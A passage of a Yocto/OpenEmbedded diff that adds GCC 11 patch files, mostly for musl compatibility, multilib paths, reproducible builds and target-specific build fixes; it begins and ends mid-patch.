+- len += MAX (MAX (suffix_len, multi_os_dir_len), multiarch_len);
++ len += MAX ((suffix_len + multi_os_dir_len), multiarch_len);
+ path = XNEWVEC (char, len);
+ }
+
+@@ -2823,6 +2823,33 @@ for_each_path (const struct path_prefix *paths,
+ /* Look first in MACHINE/VERSION subdirectory. */
+ if (!skip_multi_dir)
+ {
++ if (!(pl->os_multilib ? skip_multi_os_dir : skip_multi_dir))
++ {
++ const char *this_multi;
++ size_t this_multi_len;
++
++ if (pl->os_multilib)
++ {
++ this_multi = multi_os_dir;
++ this_multi_len = multi_os_dir_len;
++ }
++ else
++ {
++ this_multi = multi_dir;
++ this_multi_len = multi_dir_len;
++ }
++
++ /* Look in multilib MACHINE/VERSION subdirectory first */
++ if (this_multi_len)
++ {
++ memcpy (path + len, this_multi, this_multi_len + 1);
++ memcpy (path + len + this_multi_len, multi_suffix, suffix_len + 1);
++ ret = callback (path, callback_info);
++ if (ret)
++ break;
++ }
++ }
++
+ memcpy (path + len, multi_suffix, suffix_len + 1);
+ ret = callback (path, callback_info);
+ if (ret)
diff --git a/meta/recipes-devtools/gcc/gcc/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch b/meta/recipes-devtools/gcc/gcc/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch
new file mode 100644
index 0000000000..97c271373b
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch
@@ -0,0 +1,31 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 4/5] gcc/nios2: Define the musl linker
+
+Add a definition of the musl linker used on the nios2 platform.
+
+2021-10-26 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+gcc/ChangeLog:
+
+ * config/nios2/linux.h (MUSL_DYNAMIC_LINKER): Add musl linker
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2021-October/582723.html]
+Upstream-Status: Backport [https://gcc.gnu.org/git/?p=gcc.git;a=commitdiff;h=e5ddbbf992b909d8e38851bd3179d29389e6ac97]
+---
+ gcc/config/nios2/linux.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+Index: gcc-11.2.0/gcc/config/nios2/linux.h
+===================================================================
+--- gcc-11.2.0.orig/gcc/config/nios2/linux.h
++++ gcc-11.2.0/gcc/config/nios2/linux.h
+@@ -30,6 +30,7 @@
+ #define CPP_SPEC "%{posix:-D_POSIX_SOURCE} %{pthread:-D_REENTRANT}"
+
+ #define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-nios2.so.1"
++#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-nios2.so.1"
+
+ #undef LINK_SPEC
+ #define LINK_SPEC LINK_SPEC_ENDIAN \
diff --git a/meta/recipes-devtools/gcc/gcc/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch b/meta/recipes-devtools/gcc/gcc/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
new file mode 100644
index 0000000000..9c616d24d0
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
@@ -0,0 +1,78 @@
+From 745a2ac7825c73102b888226c54397d21512f86b Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 27 Jun 2017 18:10:54 -0700
+Subject: [PATCH] Add ssp_nonshared to link commandline for musl targets
+
+when -fstack-protector options are enabled we need to
+link with ssp_shared on musl since it does not provide
+the __stack_chk_fail_local() so essentially it provides
+libssp but not libssp_nonshared something like
+TARGET_LIBC_PROVIDES_SSP_BUT_NOT_SSP_NONSHARED
+ where-as for glibc the needed symbols
+are already present in libc_nonshared library therefore
+we do not need any library helper on glibc based systems
+but musl needs the libssp_noshared from gcc
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/config/linux.h | 7 +++++++
+ gcc/config/rs6000/linux.h | 10 ++++++++++
+ gcc/config/rs6000/linux64.h | 10 ++++++++++
+ 3 files changed, 27 insertions(+)
+
+--- a/gcc/config/linux.h
++++ b/gcc/config/linux.h
+@@ -203,6 +203,13 @@ see the files COPYING3 and COPYING.RUNTI
+ { GCC_INCLUDE_DIRVAR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+ }
++#ifdef TARGET_LIBC_PROVIDES_SSP
++#undef LINK_SSP_SPEC
++#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
++ "|fstack-protector-strong|fstack-protector-explicit" \
++ ":-lssp_nonshared}"
++#endif
++
+ #endif
+
+ #if (DEFAULT_LIBC == LIBC_UCLIBC) && defined (SINGLE_LIBC) /* uClinux */
+--- a/gcc/config/rs6000/linux.h
++++ b/gcc/config/rs6000/linux.h
+@@ -94,6 +94,16 @@
+ " -m elf32ppclinux")
+ #endif
+
++/* link libssp_nonshared.a with musl */
++#if DEFAULT_LIBC == LIBC_MUSL
++#ifdef TARGET_LIBC_PROVIDES_SSP
++#undef LINK_SSP_SPEC
++#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
++ "|fstack-protector-strong|fstack-protector-explicit" \
++ ":-lssp_nonshared}"
++#endif
++#endif
++
+ #undef LINK_OS_LINUX_SPEC
+ #define LINK_OS_LINUX_SPEC LINK_OS_LINUX_EMUL " %{!shared: %{!static: \
+ %{!static-pie: \
+--- a/gcc/config/rs6000/linux64.h
++++ b/gcc/config/rs6000/linux64.h
+@@ -369,6 +369,16 @@ extern int dot_symbols;
+ " -m elf64ppc")
+ #endif
+
++/* link libssp_nonshared.a with musl */
++#if DEFAULT_LIBC == LIBC_MUSL
++#ifdef TARGET_LIBC_PROVIDES_SSP
++#undef LINK_SSP_SPEC
++#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
++ "|fstack-protector-strong|fstack-protector-explicit" \
++ ":-lssp_nonshared}"
++#endif
++#endif
++
+ #define LINK_OS_LINUX_SPEC32 LINK_OS_LINUX_EMUL32 " %{!shared: %{!static: \
+ %{!static-pie: \
+ %{rdynamic:-export-dynamic} \
diff --git a/meta/recipes-devtools/gcc/gcc/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch b/meta/recipes-devtools/gcc/gcc/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch
new file mode 100644
index 0000000000..b74aeb8bb6
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch
@@ -0,0 +1,26 @@
+From 695adb4dffb23c6f5cbc757e05cf4187a2bd6528 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 4 May 2016 21:11:34 -0700
+Subject: [PATCH] Link libgcc using LDFLAGS, not just SHLIB_LDFLAGS
+
+Upstream-Status: Pending
+
+Signed-off-by: Christopher Larson <chris_larson@mentor.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libgcc/config/t-slibgcc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libgcc/config/t-slibgcc b/libgcc/config/t-slibgcc
+index c59b43b7b69..ca4c141f526 100644
+--- a/libgcc/config/t-slibgcc
++++ b/libgcc/config/t-slibgcc
+@@ -32,7 +32,7 @@ SHLIB_INSTALL_SOLINK = $(LN_S) $(SHLIB_SONAME) \
+ $(DESTDIR)$(slibdir)$(SHLIB_SLIBDIR_QUAL)/$(SHLIB_SOLINK)
+
+ SHLIB_LINK = $(CC) $(LIBGCC2_CFLAGS) -shared -nodefaultlibs \
+- $(SHLIB_LDFLAGS) \
++ $(LDFLAGS) $(SHLIB_LDFLAGS) \
+ -o $(SHLIB_DIR)/$(SHLIB_SONAME).tmp @multilib_flags@ \
+ $(SHLIB_OBJS) $(SHLIB_LC) && \
+ rm -f $(SHLIB_DIR)/$(SHLIB_SOLINK) && \
diff --git a/meta/recipes-devtools/gcc/gcc/0030-sync-gcc-stddef.h-with-musl.patch b/meta/recipes-devtools/gcc/gcc/0030-sync-gcc-stddef.h-with-musl.patch
new file mode 100644
index 0000000000..fd7d604e98
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0030-sync-gcc-stddef.h-with-musl.patch
@@ -0,0 +1,88 @@
+From a9173429ae256c4b4a3ab4d758a6adf42f8c4239 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 3 Feb 2017 12:56:00 -0800
+Subject: [PATCH] sync gcc stddef.h with musl
+
+musl defines ptrdiff_t size_t and wchar_t
+so dont define them here if musl is definining them
+
+Upstream-Status: Backport [https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=85a438fc78dd12249ca854a3e5c577fefeb1a5cd]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/ginclude/stddef.h | 9 +++++++++
+ 1 file changed, 9 insertions(+)
+
+diff --git a/gcc/ginclude/stddef.h b/gcc/ginclude/stddef.h
+index 66619fe43b1..3f843d6f365 100644
+--- a/gcc/ginclude/stddef.h
++++ b/gcc/ginclude/stddef.h
+@@ -128,6 +128,7 @@ _TYPE_wchar_t;
+ #ifndef ___int_ptrdiff_t_h
+ #ifndef _GCC_PTRDIFF_T
+ #ifndef _PTRDIFF_T_DECLARED /* DragonFly */
++#ifndef __DEFINED_ptrdiff_t /* musl */
+ #define _PTRDIFF_T
+ #define _T_PTRDIFF_
+ #define _T_PTRDIFF
+@@ -137,10 +138,12 @@ _TYPE_wchar_t;
+ #define ___int_ptrdiff_t_h
+ #define _GCC_PTRDIFF_T
+ #define _PTRDIFF_T_DECLARED
++#define __DEFINED_ptrdiff_t /* musl */
+ #ifndef __PTRDIFF_TYPE__
+ #define __PTRDIFF_TYPE__ long int
+ #endif
+ typedef __PTRDIFF_TYPE__ ptrdiff_t;
++#endif /* __DEFINED_ptrdiff_t */
+ #endif /* _PTRDIFF_T_DECLARED */
+ #endif /* _GCC_PTRDIFF_T */
+ #endif /* ___int_ptrdiff_t_h */
+@@ -178,6 +181,7 @@ typedef __PTRDIFF_TYPE__ ptrdiff_t;
+ #ifndef _GCC_SIZE_T
+ #ifndef _SIZET_
+ #ifndef __size_t
++#ifndef __DEFINED_size_t /* musl */
+ #define __size_t__ /* BeOS */
+ #define __SIZE_T__ /* Cray Unicos/Mk */
+ #define _SIZE_T
+@@ -194,6 +198,7 @@ typedef __PTRDIFF_TYPE__ ptrdiff_t;
+ #define ___int_size_t_h
+ #define _GCC_SIZE_T
+ #define _SIZET_
++#define __DEFINED_size_t /* musl */
+ #if defined (__FreeBSD__) \
+ || defined(__DragonFly__) \
+ || defined(__FreeBSD_kernel__) \
+@@ -228,6 +233,7 @@ typedef long ssize_t;
+ #endif /* _SIZE_T */
+ #endif /* __SIZE_T__ */
+ #endif /* __size_t__ */
++#endif /* __DEFINED_size_t */
+ #undef __need_size_t
+ #endif /* _STDDEF_H or __need_size_t. */
+
+@@ -257,6 +263,7 @@ typedef long ssize_t;
+ #ifndef ___int_wchar_t_h
+ #ifndef __INT_WCHAR_T_H
+ #ifndef _GCC_WCHAR_T
++#ifndef __DEFINED_wchar_t /* musl */
+ #define __wchar_t__ /* BeOS */
+ #define __WCHAR_T__ /* Cray Unicos/Mk */
+ #define _WCHAR_T
+@@ -272,6 +279,7 @@ typedef long ssize_t;
+ #define __INT_WCHAR_T_H
+ #define _GCC_WCHAR_T
+ #define _WCHAR_T_DECLARED
++#define __DEFINED_wchar_t /* musl */
+
+ /* On BSD/386 1.1, at least, machine/ansi.h defines _BSD_WCHAR_T_
+ instead of _WCHAR_T_, and _BSD_RUNE_T_ (which, unlike the other
+@@ -337,6 +345,7 @@ typedef __WCHAR_TYPE__ wchar_t;
+ #endif
+ #endif /* __WCHAR_T__ */
+ #endif /* __wchar_t__ */
++#endif /* __DEFINED_wchar_t musl */
+ #undef __need_wchar_t
+ #endif /* _STDDEF_H or __need_wchar_t. */
+
diff --git a/meta/recipes-devtools/gcc/gcc/0033-Re-introduce-spe-commandline-options.patch b/meta/recipes-devtools/gcc/gcc/0033-Re-introduce-spe-commandline-options.patch
new file mode 100644
index 0000000000..129f555a48
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0033-Re-introduce-spe-commandline-options.patch
@@ -0,0 +1,39 @@
+From 0b900d6410b7c1938e86eceb87b032fd538566a9 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 6 Jun 2018 12:10:22 -0700
+Subject: [PATCH] Re-introduce spe commandline options
+
+This should ensure that we keep accepting
+spe options
+
+Upstream-Status: Inappropriate [SPE port is removed from rs600 port]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/config/rs6000/rs6000.opt | 13 +++++++++++++
+ 1 file changed, 13 insertions(+)
+
+diff --git a/gcc/config/rs6000/rs6000.opt b/gcc/config/rs6000/rs6000.opt
+index 0dbdf753673..b273eb65c35 100644
+--- a/gcc/config/rs6000/rs6000.opt
++++ b/gcc/config/rs6000/rs6000.opt
+@@ -352,6 +352,19 @@ mdebug=
+ Target RejectNegative Joined
+ -mdebug= Enable debug output.
+
++; PPC SPE ABI
++mspe
++Target Var(rs6000_spe) Save
++Generate SPE SIMD instructions on E500.
++
++mabi=spe
++Target RejectNegative Var(rs6000_spe_abi) Save
++Use the SPE ABI extensions.
++
++mabi=no-spe
++Target RejectNegative Var(rs6000_spe_abi, 0)
++Do not use the SPE ABI extensions.
++
+ ; Altivec ABI
+ mabi=altivec
+ Target RejectNegative Var(rs6000_altivec_abi) Save
diff --git a/meta/recipes-devtools/gcc/gcc/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch b/meta/recipes-devtools/gcc/gcc/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
new file mode 100644
index 0000000000..3f666dc7bd
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
@@ -0,0 +1,83 @@
+From ea9154338cb3acbd75945fddde4202e73c20dd1a Mon Sep 17 00:00:00 2001
+From: Szabolcs Nagy <nsz@port70.net>
+Date: Sat, 24 Oct 2015 20:09:53 +0000
+Subject: [PATCH] libgcc_s: Use alias for __cpu_indicator_init instead of
+ symver
+
+Adapter from
+
+https://gcc.gnu.org/ml/gcc-patches/2015-05/msg00899.html
+
+This fix was debated but hasnt been applied gcc upstream since
+they expect musl to support '@' in symbol versioning which is
+a sun/gnu versioning extention. This patch however avoids the
+need for the '@' symbols at all
+
+libgcc/Changelog:
+
+2015-05-11 Szabolcs Nagy <szabolcs.nagy@arm.com>
+
+ * config/i386/cpuinfo.c (__cpu_indicator_init_local): Add.
+ (__cpu_indicator_init@GCC_4.8.0, __cpu_model@GCC_4.8.0): Remove.
+
+ * config/i386/t-linux (HOST_LIBGCC2_CFLAGS): Remove -DUSE_ELF_SYMVER.
+
+gcc/Changelog:
+
+2015-05-11 Szabolcs Nagy <szabolcs.nagy@arm.com>
+
+ * config/i386/i386-expand.c (ix86_expand_builtin): Make __builtin_cpu_init
+ call __cpu_indicator_init_local instead of __cpu_indicator_init.
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/config/i386/i386-expand.c | 4 ++--
+ libgcc/config/i386/cpuinfo.c | 6 +++---
+ libgcc/config/i386/t-linux | 2 +-
+ 3 files changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/gcc/config/i386/i386-expand.c b/gcc/config/i386/i386-expand.c
+index ac69eed4d32..ffaa44a16fc 100644
+--- a/gcc/config/i386/i386-expand.c
++++ b/gcc/config/i386/i386-expand.c
+@@ -11038,10 +11038,10 @@ ix86_expand_builtin (tree exp, rtx target, rtx subtarget,
+ {
+ case IX86_BUILTIN_CPU_INIT:
+ {
+- /* Make it call __cpu_indicator_init in libgcc. */
++ /* Make it call __cpu_indicator_init_local in libgcc.a. */
+ tree call_expr, fndecl, type;
+ type = build_function_type_list (integer_type_node, NULL_TREE);
+- fndecl = build_fn_decl ("__cpu_indicator_init", type);
++ fndecl = build_fn_decl ("__cpu_indicator_init_local", type);
+ call_expr = build_call_expr (fndecl, 0);
+ return expand_expr (call_expr, target, mode, EXPAND_NORMAL);
+ }
+diff --git a/libgcc/config/i386/cpuinfo.c b/libgcc/config/i386/cpuinfo.c
+index ef463848f9d..1a3de052c80 100644
+--- a/libgcc/config/i386/cpuinfo.c
++++ b/libgcc/config/i386/cpuinfo.c
+@@ -63,7 +63,7 @@ __cpu_indicator_init (void)
+ __cpu_features2);
+ }
+
+-#if defined SHARED && defined USE_ELF_SYMVER
+-__asm__ (".symver __cpu_indicator_init, __cpu_indicator_init@GCC_4.8.0");
+-__asm__ (".symver __cpu_model, __cpu_model@GCC_4.8.0");
++#ifndef SHARED
++int __cpu_indicator_init_local (void)
++ __attribute__ ((weak, alias ("__cpu_indicator_init")));
+ #endif
+diff --git a/libgcc/config/i386/t-linux b/libgcc/config/i386/t-linux
+index 8506a635790..564296f788e 100644
+--- a/libgcc/config/i386/t-linux
++++ b/libgcc/config/i386/t-linux
+@@ -3,5 +3,5 @@
+ # t-slibgcc-elf-ver and t-linux
+ SHLIB_MAPFILES = libgcc-std.ver $(srcdir)/config/i386/libgcc-glibc.ver
+
+-HOST_LIBGCC2_CFLAGS += -mlong-double-80 -DUSE_ELF_SYMVER $(CET_FLAGS)
++HOST_LIBGCC2_CFLAGS += -mlong-double-80 $(CET_FLAGS)
+ CRTSTUFF_T_CFLAGS += $(CET_FLAGS)
diff --git a/meta/recipes-devtools/gcc/gcc/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch b/meta/recipes-devtools/gcc/gcc/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch
new file mode 100644
index 0000000000..874cd7798d
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch
@@ -0,0 +1,182 @@
+From 520411cf364ee4b0b5a8f0857498aaabd790afb3 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 10 Mar 2020 08:26:53 -0700
+Subject: [PATCH] gentypes/genmodes: Do not use __LINE__ for maintaining
+ reproducibility
+
+Inserting line numbers into generated code means its not always reproducible wth
+differing versions of host gcc. Void the issue by not adding these.
+
+Upstream-Status: Inappropriate [OE Reproducibility specific]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/gengtype.c | 6 +++---
+ gcc/genmodes.c | 32 ++++++++++++++++----------------
+ 2 files changed, 19 insertions(+), 19 deletions(-)
+
+diff --git a/gcc/gengtype.c b/gcc/gengtype.c
+index 5f50242e857..cbaca9b8cd0 100644
+--- a/gcc/gengtype.c
++++ b/gcc/gengtype.c
+@@ -991,7 +991,7 @@ create_field_at (pair_p next, type_p type, const char *name, options_p opt,
+ /* Create a fake field with the given type and name. NEXT is the next
+ field in the chain. */
+ #define create_field(next,type,name) \
+- create_field_all (next,type,name, 0, this_file, __LINE__)
++ create_field_all (next,type,name, 0, this_file, 0)
+
+ /* Like create_field, but the field is only valid when condition COND
+ is true. */
+@@ -1024,7 +1024,7 @@ create_optional_field_ (pair_p next, type_p type, const char *name,
+ }
+
+ #define create_optional_field(next,type,name,cond) \
+- create_optional_field_(next,type,name,cond,__LINE__)
++ create_optional_field_(next,type,name,cond,0)
+
+ /* Reverse a linked list of 'struct pair's in place. */
+ pair_p
+@@ -5189,7 +5189,7 @@ main (int argc, char **argv)
+ /* These types are set up with #define or else outside of where
+ we can see them. We should initialize them before calling
+ read_input_list. */
+-#define POS_HERE(Call) do { pos.file = this_file; pos.line = __LINE__; \
++#define POS_HERE(Call) do { pos.file = this_file; pos.line = 0; \
+ Call;} while (0)
+ POS_HERE (do_scalar_typedef ("CUMULATIVE_ARGS", &pos));
+ POS_HERE (do_scalar_typedef ("REAL_VALUE_TYPE", &pos));
+diff --git a/gcc/genmodes.c b/gcc/genmodes.c
+index c268ebc4c6e..4361f3f1563 100644
+--- a/gcc/genmodes.c
++++ b/gcc/genmodes.c
+@@ -438,7 +438,7 @@ complete_all_modes (void)
+ }
+
+ /* For each mode in class CLASS, construct a corresponding complex mode. */
+-#define COMPLEX_MODES(C) make_complex_modes (MODE_##C, __FILE__, __LINE__)
++#define COMPLEX_MODES(C) make_complex_modes (MODE_##C, __FILE__, 0)
+ static void
+ make_complex_modes (enum mode_class cl,
+ const char *file, unsigned int line)
+@@ -497,7 +497,7 @@ make_complex_modes (enum mode_class cl,
+ having as many components as necessary. ORDER is the sorting order
+ of the mode, with smaller numbers indicating a higher priority. */
+ #define VECTOR_MODES_WITH_PREFIX(PREFIX, C, W, ORDER) \
+- make_vector_modes (MODE_##C, #PREFIX, W, ORDER, __FILE__, __LINE__)
++ make_vector_modes (MODE_##C, #PREFIX, W, ORDER, __FILE__, 0)
+ #define VECTOR_MODES(C, W) VECTOR_MODES_WITH_PREFIX (V, C, W, 0)
+ static void ATTRIBUTE_UNUSED
+ make_vector_modes (enum mode_class cl, const char *prefix, unsigned int width,
+@@ -549,7 +549,7 @@ make_vector_modes (enum mode_class cl, const char *prefix, unsigned int width,
+ /* Create a vector of booleans called NAME with COUNT elements and
+ BYTESIZE bytes in total. */
+ #define VECTOR_BOOL_MODE(NAME, COUNT, BYTESIZE) \
+- make_vector_bool_mode (#NAME, COUNT, BYTESIZE, __FILE__, __LINE__)
++ make_vector_bool_mode (#NAME, COUNT, BYTESIZE, __FILE__, 0)
+ static void ATTRIBUTE_UNUSED
+ make_vector_bool_mode (const char *name, unsigned int count,
+ unsigned int bytesize, const char *file,
+@@ -571,7 +571,7 @@ make_vector_bool_mode (const char *name, unsigned int count,
+ /* Input. */
+
+ #define _SPECIAL_MODE(C, N) \
+- make_special_mode (MODE_##C, #N, __FILE__, __LINE__)
++ make_special_mode (MODE_##C, #N, __FILE__, 0)
+ #define RANDOM_MODE(N) _SPECIAL_MODE (RANDOM, N)
+ #define CC_MODE(N) _SPECIAL_MODE (CC, N)
+
+@@ -584,7 +584,7 @@ make_special_mode (enum mode_class cl, const char *name,
+
+ #define INT_MODE(N, Y) FRACTIONAL_INT_MODE (N, -1U, Y)
+ #define FRACTIONAL_INT_MODE(N, B, Y) \
+- make_int_mode (#N, B, Y, __FILE__, __LINE__)
++ make_int_mode (#N, B, Y, __FILE__, 0)
+
+ static void
+ make_int_mode (const char *name,
+@@ -611,16 +611,16 @@ make_opaque_mode (const char *name,
+ }
+
+ #define FRACT_MODE(N, Y, F) \
+- make_fixed_point_mode (MODE_FRACT, #N, Y, 0, F, __FILE__, __LINE__)
++ make_fixed_point_mode (MODE_FRACT, #N, Y, 0, F, __FILE__, 0)
+
+ #define UFRACT_MODE(N, Y, F) \
+- make_fixed_point_mode (MODE_UFRACT, #N, Y, 0, F, __FILE__, __LINE__)
++ make_fixed_point_mode (MODE_UFRACT, #N, Y, 0, F, __FILE__, 0)
+
+ #define ACCUM_MODE(N, Y, I, F) \
+- make_fixed_point_mode (MODE_ACCUM, #N, Y, I, F, __FILE__, __LINE__)
++ make_fixed_point_mode (MODE_ACCUM, #N, Y, I, F, __FILE__, 0)
+
+ #define UACCUM_MODE(N, Y, I, F) \
+- make_fixed_point_mode (MODE_UACCUM, #N, Y, I, F, __FILE__, __LINE__)
++ make_fixed_point_mode (MODE_UACCUM, #N, Y, I, F, __FILE__, 0)
+
+ /* Create a fixed-point mode by setting CL, NAME, BYTESIZE, IBIT, FBIT,
+ FILE, and LINE. */
+@@ -641,7 +641,7 @@ make_fixed_point_mode (enum mode_class cl,
+
+ #define FLOAT_MODE(N, Y, F) FRACTIONAL_FLOAT_MODE (N, -1U, Y, F)
+ #define FRACTIONAL_FLOAT_MODE(N, B, Y, F) \
+- make_float_mode (#N, B, Y, #F, __FILE__, __LINE__)
++ make_float_mode (#N, B, Y, #F, __FILE__, 0)
+
+ static void
+ make_float_mode (const char *name,
+@@ -658,7 +658,7 @@ make_float_mode (const char *name,
+ #define DECIMAL_FLOAT_MODE(N, Y, F) \
+ FRACTIONAL_DECIMAL_FLOAT_MODE (N, -1U, Y, F)
+ #define FRACTIONAL_DECIMAL_FLOAT_MODE(N, B, Y, F) \
+- make_decimal_float_mode (#N, B, Y, #F, __FILE__, __LINE__)
++ make_decimal_float_mode (#N, B, Y, #F, __FILE__, 0)
+
+ static void
+ make_decimal_float_mode (const char *name,
+@@ -673,7 +673,7 @@ make_decimal_float_mode (const char *name,
+ }
+
+ #define RESET_FLOAT_FORMAT(N, F) \
+- reset_float_format (#N, #F, __FILE__, __LINE__)
++ reset_float_format (#N, #F, __FILE__, 0)
+ static void ATTRIBUTE_UNUSED
+ reset_float_format (const char *name, const char *format,
+ const char *file, unsigned int line)
+@@ -694,7 +694,7 @@ reset_float_format (const char *name, const char *format,
+
+ /* __intN support. */
+ #define INT_N(M,PREC) \
+- make_int_n (#M, PREC, __FILE__, __LINE__)
++ make_int_n (#M, PREC, __FILE__, 0)
+ static void ATTRIBUTE_UNUSED
+ make_int_n (const char *m, int bitsize,
+ const char *file, unsigned int line)
+@@ -723,7 +723,7 @@ make_int_n (const char *m, int bitsize,
+ /* Partial integer modes are specified by relation to a full integer
+ mode. */
+ #define PARTIAL_INT_MODE(M,PREC,NAME) \
+- make_partial_integer_mode (#M, #NAME, PREC, __FILE__, __LINE__)
++ make_partial_integer_mode (#M, #NAME, PREC, __FILE__, 0)
+ static void ATTRIBUTE_UNUSED
+ make_partial_integer_mode (const char *base, const char *name,
+ unsigned int precision,
+@@ -750,7 +750,7 @@ make_partial_integer_mode (const char *base, const char *name,
+ /* A single vector mode can be specified by naming its component
+ mode and the number of components. */
+ #define VECTOR_MODE(C, M, N) \
+- make_vector_mode (MODE_##C, #M, N, __FILE__, __LINE__);
++ make_vector_mode (MODE_##C, #M, N, __FILE__, 0);
+ static void ATTRIBUTE_UNUSED
+ make_vector_mode (enum mode_class bclass,
+ const char *base,
+@@ -793,7 +793,7 @@ make_vector_mode (enum mode_class bclass,
+
+ /* Adjustability. */
+ #define _ADD_ADJUST(A, M, X, C1, C2) \
+- new_adjust (#M, &adj_##A, #A, #X, MODE_##C1, MODE_##C2, __FILE__, __LINE__)
++ new_adjust (#M, &adj_##A, #A, #X, MODE_##C1, MODE_##C2, __FILE__, 0)
+
+ #define ADJUST_NUNITS(M, X) _ADD_ADJUST (nunits, M, X, RANDOM, RANDOM)
+ #define ADJUST_BYTESIZE(M, X) _ADD_ADJUST (bytesize, M, X, RANDOM, RANDOM)
diff --git a/meta/recipes-devtools/gcc/gcc/0036-mingw32-Enable-operation_not_supported.patch b/meta/recipes-devtools/gcc/gcc/0036-mingw32-Enable-operation_not_supported.patch
new file mode 100644
index 0000000000..3a7618c820
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0036-mingw32-Enable-operation_not_supported.patch
@@ -0,0 +1,26 @@
+From 96d895c8d5dc895d24fe37aa2b4f201a2566b4cc Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 12 May 2020 10:39:09 -0700
+Subject: [PATCH] mingw32: Enable operation_not_supported
+
+Fixes nativesdk build errors on mingw32 gcc-runtime
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libstdc++-v3/config/os/mingw32/error_constants.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libstdc++-v3/config/os/mingw32/error_constants.h b/libstdc++-v3/config/os/mingw32/error_constants.h
+index eca06a97014..933cfab49cf 100644
+--- a/libstdc++-v3/config/os/mingw32/error_constants.h
++++ b/libstdc++-v3/config/os/mingw32/error_constants.h
+@@ -107,7 +107,7 @@ _GLIBCXX_BEGIN_NAMESPACE_VERSION
+ #ifdef EPERM
+ operation_not_permitted = EPERM,
+ #endif
+-// operation_not_supported = EOPNOTSUPP,
++ operation_not_supported = EOPNOTSUPP,
+ #ifdef EWOULDBLOCK
+ operation_would_block = EWOULDBLOCK,
+ #endif
diff --git a/meta/recipes-devtools/gcc/gcc/0037-libatomic-Do-not-enforce-march-on-aarch64.patch b/meta/recipes-devtools/gcc/gcc/0037-libatomic-Do-not-enforce-march-on-aarch64.patch
new file mode 100644
index 0000000000..4c9a79cb64
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0037-libatomic-Do-not-enforce-march-on-aarch64.patch
@@ -0,0 +1,42 @@
+From 36d4fdbc99e69f9d70a29e2bada40cc3c1534557 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 13 May 2020 15:10:38 -0700
+Subject: [PATCH] libatomic: Do not enforce march on aarch64
+
+OE passes the right options via gcc compiler cmdline via TUNE_CCARGS
+this can conflict between -mcpu settings and -march setting here, since
+-mcpu will translate into an appropriate -march, lets depend on that
+instead of setting it explicitly
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libatomic/Makefile.am | 1 -
+ libatomic/Makefile.in | 1 -
+ 2 files changed, 2 deletions(-)
+
+diff --git a/libatomic/Makefile.am b/libatomic/Makefile.am
+index 0f3cd6f7121..c8124c1d5aa 100644
+--- a/libatomic/Makefile.am
++++ b/libatomic/Makefile.am
